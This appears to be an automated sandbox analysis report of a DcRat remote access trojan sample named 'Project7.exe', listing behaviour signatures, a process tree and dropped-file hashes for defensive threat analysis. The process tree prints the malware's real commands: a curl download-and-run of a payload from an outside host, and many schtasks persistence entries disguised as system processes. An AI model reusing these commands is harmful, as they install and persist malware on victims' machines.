Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/01/2025, 12:29

General

  • Target
    Project7.exe
  • Size 553KB
  • Sample250101-ppcraavkdt
  • SHA256 10928603dcfbdc792e362e3a931839eba762f238d831008449d064f07827aded
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Project7.exe
    "C:\Users\Admin\AppData\Local\Temp\Project7.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2016
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://anonfiles.site/123.txt --output C:\Windows\Speech\physmeme.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2084
      • C:\Windows\system32\curl.exe
        curl --silent https://anonfiles.site/123.txt --output C:\Windows\Speech\physmeme.exe
        3⤵
        • Drops file in Windows directory
        PID:316
    • C:\Windows\Speech\physmeme.exe
      "C:\Windows\Speech\physmeme.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:5044
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ESD\9aaHDVpcxKfYtJqSuujTUaPokkSzlaj3bXCELnPfmUbbbzmgl5.vbe"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4500
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\ESD\r9FE9AzSI.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:328
          • C:\ESD\Winver.exe
            "C:\ESD/Winver.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1392
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\WvybRqmXL6.bat"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1032
              • C:\Windows\system32\chcp.com
                chcp 65001
                7⤵
                  PID:2876
                • C:\Windows\system32\w32tm.exe
                  w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                  7⤵
                    PID:1616
                  • C:\Program Files (x86)\Common Files\Services\dllhost.exe
                    "C:\Program Files (x86)\Common Files\Services\dllhost.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5072
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3400
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5000
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2008
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Common Files\Services\dllhost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:112
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Services\dllhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4872
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Common Files\Services\dllhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1536
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 8 /tr "'C:\Users\Default User\OfficeClickToRun.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1820
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Users\Default User\OfficeClickToRun.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1676
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\OfficeClickToRun.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4748
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows NT\Accessories\uk-UA\Idle.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:924
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files\Windows NT\Accessories\uk-UA\Idle.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3576
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows NT\Accessories\uk-UA\Idle.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3492
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\ESD\explorer.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3456
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\ESD\explorer.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3664
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorere" /sc MINUTE /mo 6 /tr "'C:\ESD\explorer.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3868
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WinverW" /sc MINUTE /mo 13 /tr "'C:\ESD\Winver.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1640
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "Winver" /sc ONLOGON /tr "'C:\ESD\Winver.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4832
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WinverW" /sc MINUTE /mo 14 /tr "'C:\ESD\Winver.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:640

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            9aaHDVpcxKfYtJqSuujTUaPokkSzlaj3bXCELnPfmUbbbzmgl5.vbe

            • Path C:\ESD\9aaHDVpcxKfYtJqSuujTUaPokkSzlaj3bXCELnPfmUbbbzmgl5.vbe
            • Size 190B
            • SHA256 931f80ee9a44026f30b6f243c4a4b77c344d1c039548ca29028822bc8608f80c
            • MD5 SHA1 SHA512

            Winver.exe

            • Path C:\ESD\Winver.exe
            • Size 1.8MB
            • SHA256 c91143795474ec192096650cddcacd5d4e0d46b384e8a56dab7ca029ac2a7d43
            • MD5 SHA1 SHA512 SSDEEP

            r9FE9AzSI.bat

            • Path C:\ESD\r9FE9AzSI.bat
            • Size 70B
            • SHA256 6a8c02efc7143f4ee54e6e13a10050b525d265e0b5fcad04510eeae61e6561cd
            • MD5 SHA1 SHA512

            WvybRqmXL6.bat

            • Path C:\Users\Admin\AppData\Local\Temp\WvybRqmXL6.bat
            • Size 232B
            • SHA256 8cea825f04551f47e40e2c796f0d5d99ae2fc1b3e7749a88f961cea1606e8122
            • MD5 SHA1 SHA512

            physmeme.exe

            • Path C:\Windows\Speech\physmeme.exe
            • Size 2.1MB
            • SHA256 e21cfe74517aaaad37fd5b4825fa4eb97edc6c8daeb386e0cf562b5901f7fdeb
            • MD5 SHA1 SHA512 SSDEEP

            memory/1392-15-0x00000000000F0000-0x00000000002C2000-memory.dmp

            memory/1392-17-0x00000000008B0000-0x00000000008BE000-memory.dmp

            memory/1392-19-0x0000000002400000-0x000000000241C000-memory.dmp

            memory/1392-20-0x0000000002590000-0x00000000025E0000-memory.dmp

            memory/1392-22-0x0000000002540000-0x0000000002558000-memory.dmp